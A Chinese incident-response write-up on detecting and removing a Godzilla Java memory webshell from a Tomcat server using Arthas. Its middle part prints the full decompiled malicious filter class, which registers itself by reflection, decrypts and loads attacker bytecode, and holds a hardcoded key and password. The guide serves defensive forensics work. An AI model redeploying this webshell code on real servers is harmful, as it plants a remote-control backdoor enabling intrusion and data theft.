java内存马排查
Linux中的java内存马排查
流量分析
首先,我们已经通过流量确定是存在了java内存码了

上机排查
首先确认我们项目使用的框架是什么,这里使用的是tomcat框架
Arthas
然后确认java进程,通过看外连找到了java内存码进程
然后就可以使用Arthas来检查了
java -jar arthas-boot.jar
首先会让你选择java进程然后进行分析,刚刚已经确定了进程的pid,就可以直接选了,然后使用命令
dashboard
可以排查其中的java类,看看有没有使用的危险类
sc *.Filter
其中就发现了明显是哥斯拉的信息,说明这个内存码是哥斯拉的内存码,因为在一开始就确认了我们的框架的tomcat,而tomcat最常见的就是filter 和 Servlet 这两个,所以这样可以直接找到可疑类了
同时,输入
classloader也可以看到有问题的类
确认到了可疑的类之后可以先看一下这个类的详细信息
sc -d com.summersec.x.GodzillaFilter
这里主要是看code-source参数,正常的类会显示来自哪个jar包或者目录,而内存马就会显示空的,然后就可以直接反编译这个类
jad com.summersec.x.GodzillaFilter[arthas@1477766]$ jad com.summersec.x.GodzillaFilter
ClassLoader:
+-com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader@7f9d149d
+-org.springframework.boot.loader.LaunchedURLClassLoader@68de145
+-sun.misc.Launcher$AppClassLoader@74a14482
+-sun.misc.Launcher$ExtClassLoader@548a102f
Location:
/*
* Decompiled with CFR.
*
* Could not load the following classes:
* javax.servlet.DispatcherType
* javax.servlet.Filter
* javax.servlet.FilterChain
* javax.servlet.FilterConfig
* javax.servlet.FilterRegistration$Dynamic
* javax.servlet.ServletContext
* javax.servlet.ServletException
* javax.servlet.ServletRequest
* javax.servlet.ServletResponse
* javax.servlet.http.HttpServletRequest
* javax.servlet.http.HttpServletResponse
* javax.servlet.http.HttpSession
* org.apache.catalina.LifecycleState
* org.apache.catalina.core.ApplicationContext
* org.apache.catalina.core.StandardContext
* org.apache.catalina.util.LifecycleBase
*/
package com.summersec.x;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.FilterRegistration;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
public class GodzillaFilter
extends ClassLoader
implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
String xc = "3c6e0b8a9c15224a";
public String Pwd = "pass1024";
public String path = "/favicondemo.ico";
String md5 = GodzillaFilter.md5(this.Pwd + this.xc);
public String cs = "UTF-8";
public void parseObj(Object obj) {
block8: {
/*145*/ if (obj.getClass().isArray()) {
/*146*/ Object[] data = (Object[])obj;
/*147*/ this.request = (HttpServletRequest)data[0];
/*148*/ this.response = (HttpServletResponse)data[1];
} else {
try {
/*151*/ Class<?> clazz = Class.forName("javax.servlet.jsp.PageContext");
/*152*/ this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
/*153*/ this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
}
catch (Exception var8) {
/*155*/ if (!(obj instanceof HttpServletRequest)) break block8;
/*156*/ this.request = (HttpServletRequest)obj;
try {
/*159*/ Field req = this.request.getClass().getDeclaredField("request");
/*160*/ req.setAccessible(true);
/*161*/ HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
/*162*/ Field resp = request2.getClass().getDeclaredField("response");
/*163*/ resp.setAccessible(true);
/*164*/ this.response = (HttpServletResponse)resp.get(request2);
}
catch (Exception var7) {
try {
/*167*/ this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
}
catch (Exception exception) {
// empty catch block
}
}
}
}
}
}
public static String md5(String s) {
/* 65*/ String ret = null;
try {
/* 68*/ MessageDigest m = MessageDigest.getInstance("MD5");
/* 69*/ m.update(s.getBytes(), 0, s.length());
ret = new BigInteger(1, m.digest()).toString(16).toUpperCase();
}
catch (Exception exception) {
// empty catch block
}
/* 74*/ return ret;
}
public Class Q(byte[] cb) {
/* 51*/ return super.defineClass(cb, 0, cb.length);
}
public static String base64Encode(byte[] bs) throws Exception {
/* 78*/ String value = null;
try {
/* 82*/ Class<?> base64 = Class.forName("java.util.Base64");
/* 83*/ Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
/* 84*/ value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, new Object[]{bs});
}
catch (Exception var6) {
try {
/* 87*/ Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
/* 88*/ Object Encoder = base64.newInstance();
/* 89*/ value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, new Object[]{bs});
}
catch (Exception exception) {
// empty catch block
}
}
/* 94*/ return value;
}
public static byte[] base64Decode(String bs) throws Exception {
/* 98*/ byte[] value = null;
try {
/*102*/ Class<?> base64 = Class.forName("java.util.Base64");
/*103*/ Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
/*104*/ value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
}
catch (Exception var6) {
try {
/*107*/ Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
/*108*/ Object decoder = base64.newInstance();
/*109*/ value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
catch (Exception exception) {
// empty catch block
}
}
/*114*/ return value;
}
/*
* WARNING - Removed try catching itself - possible behaviour change.
*/
public String addFilter() throws Exception {
/*178*/ ServletContext servletContext = this.request.getServletContext();
/*179*/ GodzillaFilter filter = this;
/*180*/ String filterName = this.path;
/*181*/ String url = this.path;
/*182*/ if (servletContext.getFilterRegistration(filterName) == null) {
String var11;
/*183*/ Field contextField = null;
/*184*/ ApplicationContext applicationContext = null;
/*185*/ StandardContext standardContext = null;
/*186*/ Field stateField = null;
/*187*/ FilterRegistration.Dynamic filterRegistration = null;
try {
String var25;
Class<?> filterMap;
/*191*/ contextField = servletContext.getClass().getDeclaredField("context");
/*192*/ contextField.setAccessible(true);
/*193*/ applicationContext = (ApplicationContext)contextField.get(servletContext);
/*194*/ contextField = applicationContext.getClass().getDeclaredField("context");
/*195*/ contextField.setAccessible(true);
/*196*/ standardContext = (StandardContext)contextField.get(applicationContext);
/*197*/ stateField = LifecycleBase.class.getDeclaredField("state");
/*198*/ stateField.setAccessible(true);
/*199*/ stateField.set(standardContext, LifecycleState.STARTING_PREP);
/*200*/ filterRegistration = servletContext.addFilter(filterName, (Filter)filter);
/*201*/ filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
/*202*/ Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]);
/*203*/ filterStartMethod.setAccessible(true);
/*204*/ filterStartMethod.invoke(standardContext, null);
/*205*/ stateField.set(standardContext, LifecycleState.STARTED);
/*206*/ Object var112 = null;
try {
/*210*/ filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
}
catch (Exception var21) {
/*212*/ filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
/*215*/ Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]);
/*216*/ Object[] filterMaps = (Object[])findFilterMaps.invoke(standardContext, new Object[0]);
/*218*/ for (int i = 0; i < filterMaps.length; ++i) {
/*219*/ Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName", new Class[0]);
String name = (String)findFilterMaps.invoke(filterMapObj, new Object[0]);
/*222*/ if (!name.equalsIgnoreCase(filterName)) continue;
/*223*/ filterMaps[i] = filterMaps[0];
/*224*/ filterMaps[0] = filterMapObj;
}
String string = var25 = "Success";
/*233*/ stateField.set(standardContext, LifecycleState.STARTED);
/*229*/ return string;
}
catch (Exception var22) {
/*231*/ var11 = var22.getMessage();
}
finally {
/*233*/ stateField.set(standardContext, LifecycleState.STARTED);
}
/*236*/ return var11;
}
/*238*/ return "Filter already exists";
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
try {
/*247*/ HttpServletRequest request = (HttpServletRequest)req;
/*248*/ HttpServletResponse response = (HttpServletResponse)resp;
/*249*/ HttpSession session = request.getSession();
/*250*/ byte[] data = GodzillaFilter.base64Decode(req.getParameter(this.Pwd));
/*251*/ data = this.x(data, false);
/*252*/ if (session.getAttribute("payload") == null) {
/*253*/ session.setAttribute("payload", (Object)new GodzillaFilter(this.getClass().getClassLoader()).Q(data));
} else {
/*255*/ request.setAttribute("parameters", (Object)data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
/*257*/ Object f = ((Class)session.getAttribute("payload")).newInstance();
/*258*/ f.equals(arrOut);
/*259*/ f.equals(data);
/*260*/ response.getWriter().write(this.md5.substring(0, 16));
/*261*/ f.toString();
/*262*/ response.getWriter().write(GodzillaFilter.base64Encode(this.x(arrOut.toByteArray(), true)));
/*263*/ response.getWriter().write(this.md5.substring(16));
}
}
catch (Exception exception) {
// empty catch block
}
}
public GodzillaFilter(ClassLoader z) {
/* 45*/ super(z);
}
public GodzillaFilter() {
}
public boolean equals(Object obj) {
/*118*/ this.parseObj(obj);
/*119*/ this.Pwd = this.request.getHeader("p");
/*120*/ this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
/*122*/ String tag_s = "->|";
/*123*/ String tag_e = "|<-";
try {
/*126*/ this.response.setContentType("text/html");
/*127*/ this.request.setCharacterEncoding(this.cs);
/*128*/ this.response.setCharacterEncoding(this.cs);
/*129*/ output.append(this.addFilter());
}
catch (Exception var7) {
/*131*/ output.append("error:" + var7.toString());
}
try {
/*135*/ this.response.getWriter().print(tag_s + output.toString() + tag_e);
/*136*/ this.response.getWriter().flush();
/*137*/ this.response.getWriter().close();
}
catch (Exception exception) {
// empty catch block
}
/*141*/ return true;
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
public byte[] x(byte[] s, boolean m) {
try {
/* 56*/ Cipher c = Cipher.getInstance("AES");
/* 57*/ c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
/* 58*/ return c.doFinal(s);
}
catch (Exception var4) {
/* 60*/ return null;
}
}
}
Affect(row-cnt:1) cost in 2979 ms.在这个反编译以后的代码中,就可以找到内存码所在的路径,密码,密钥等等信息
String xc = "3c6e0b8a9c15224a";
public String Pwd = "pass1024";
public String path = "/favicondemo.ico";并且可以根据其中的类加载器确定攻击者的攻击链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader通过这个可以确认攻击者不是通过正常的文件上传进行来的,系统内存在反序列化漏洞,因为攻击者是利用了漏洞传入恶意的字节码,触发了TemplatesImpl动态加载包含了addFilter() 逻辑的类
应急处置
热加载
因为生产环境不能轻易的重启,所以可以使用热加载的方法把内存码给排除
首先导出内存马的源码
jad --source-only com.summersec.x.GodzillaFilter > /tmp/GodzillaFilter.java然后修改源码,把其中的doFilter内容全部清空,修改为标准的过滤器放行逻辑,这里如果还有其他恶意逻辑(如 equals 方法里调用了 parseObj),也可以一并清空,只保留 return true;。
然后在 Arthas 界面再重新编译这个类
mc /tmp/GodzillaFilter.java -d /tmp最后进行热加载
retransform /tmp/com/summersec/x/GodzillaFilter.class后续如果需要完全恢复或者释放,可以执行
retransform --deleteAll内存拔除
又或者使用 vmtool 把路由映射给删掉
vmtool --action getInstances --className org.apache.catalina.core.StandardContext --express 'instances[0].removeFilterMap(instances[0].findFilterMaps().{? #this.getFilterName()=="/favicondemo.ico"}[0])'然后把内存马在容器里的实例定义彻底抹去
vmtool --action getInstances --className org.apache.catalina.core.StandardContext --express 'instances[0].removeFilterDef(instances[0].findFilterDefs().{? #this.getFilterName()=="/favicondemo.ico"}[0])'这个时候再去访问恶意路径 /favicondemo.ico 就发现已经没有这个恶意路径了,这里就完成了不关机重启。
最后就可以根据信息进行溯源排查了
其实他的连接密码并不是直接写在反编译的代码中的,他的连接密码其实在连接的时候动态获取的,具体可以看equals方法中的两行代码。
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
想读的话,只能用vmtool去读内存